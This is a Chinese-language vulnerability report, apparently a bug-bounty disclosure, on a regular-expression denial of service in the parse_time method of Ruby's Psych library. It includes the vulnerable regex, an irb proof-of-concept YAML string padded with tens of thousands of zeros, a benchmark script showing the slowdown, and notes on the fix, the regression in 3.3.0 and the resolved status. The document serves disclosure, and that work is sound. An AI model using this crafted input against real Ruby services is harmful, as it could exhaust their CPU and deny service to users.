Ruby | 报告 #1487889 - Psych中的ReDoS漏洞
漏洞描述
在Ruby的Psych库中发现了一个正则表达式拒绝服务(ReDoS)漏洞,该漏洞存在于Psych.load
方法中。
技术细节
漏洞位置
漏洞代码
1
2
3
4
5
6
7
8
|
def parse_time string
klass = class_loader.load 'Time'
date, time = *(string.split(/[ tT]/, 2))
(yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i }
md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/)
(hh, mm, ss) = md[1].split(':').map { |x| x.to_i }
us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000
|
正则表达式 /(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/
存在漏洞。
验证工具
该漏洞是通过recheck工具检测发现的:https://makenowjust-labs.github.io/recheck/
PoC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
❯ irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'date'
=> true
irb(main):003:0> YAML.dump(DateTime.now)
=> "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n"
irb(main):004:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
=> #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)>
irb(main):005:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
# ReDoS发生!
=> #<DateTime: 2022-02-22T09:00:00+09:00 ((2459633j,0s,0n),+32400s,2299161j)>
|
性能基准测试
测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
require 'benchmark'
require 'yaml'
require 'date'
def datetime_parse(length)
text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0'
YAML.load(text , permitted_classes: [Time, DateTime])
end
Benchmark.bm do |x|
x.report { datetime_parse(100) }
x.report { datetime_parse(1000) }
x.report { datetime_parse(10000) }
x.report { datetime_parse(100000) }
end
|
测试结果
1
2
3
4
5
6
|
❯ ruby datetime_benchmark.rb
user system total real
0.000215 0.000212 0.000427 ( 0.000422)
0.002306 0.000005 0.002311 ( 0.002314)
0.219717 0.000125 0.219842 ( 0.219844)
21.904961 0.041427 21.946388 ( 21.946604)
|
影响范围
当允许DateTime反序列化时会发生ReDoS攻击。由于攻击字符串永远不会匹配TIME的值,影响有限。
版本差异
Ruby 3.2.0
ReDoS问题已修复:
1
2
3
4
5
6
7
|
# Ruby 3.2.0
❯ bundle exec ruby datetime_benchmark.rb
user system total real
0.000461 0.000594 0.001055 ( 0.001286)
0.000154 0.000005 0.000159 ( 0.000159)
0.000864 0.000004 0.000868 ( 0.000878)
0.008076 0.000112 0.008188 ( 0.008203)
|
Ruby 3.3.0
ReDoS问题重新出现:
1
2
3
4
5
6
7
8
9
|
❯ ruby -v
ruby 3.3.0 (2023-12-25 revision 5124f9ac75) [arm64-darwin22]
❯ ruby datetime_benchmark.rb
user system total real
0.000232 0.000202 0.000434 ( 0.000432)
0.001668 0.000001 0.001669 ( 0.001669)
0.159783 0.000738 0.160521 ( 0.160610)
16.068381 0.082545 16.150926 ( 16.178969)
|
修复状态
- 2024年1月11日:确认在master分支中回归问题已解决
- 2025年6月3日:由于Ruby 3.1已结束生命周期(EOL),不再为此版本发布新修复
- 报告状态标记为"已解决"
相关研究
其他gem中的ReDoS研究结果:https://gist.github.com/ooooooo-q/88ad0911c45571389170c41cb403a2f7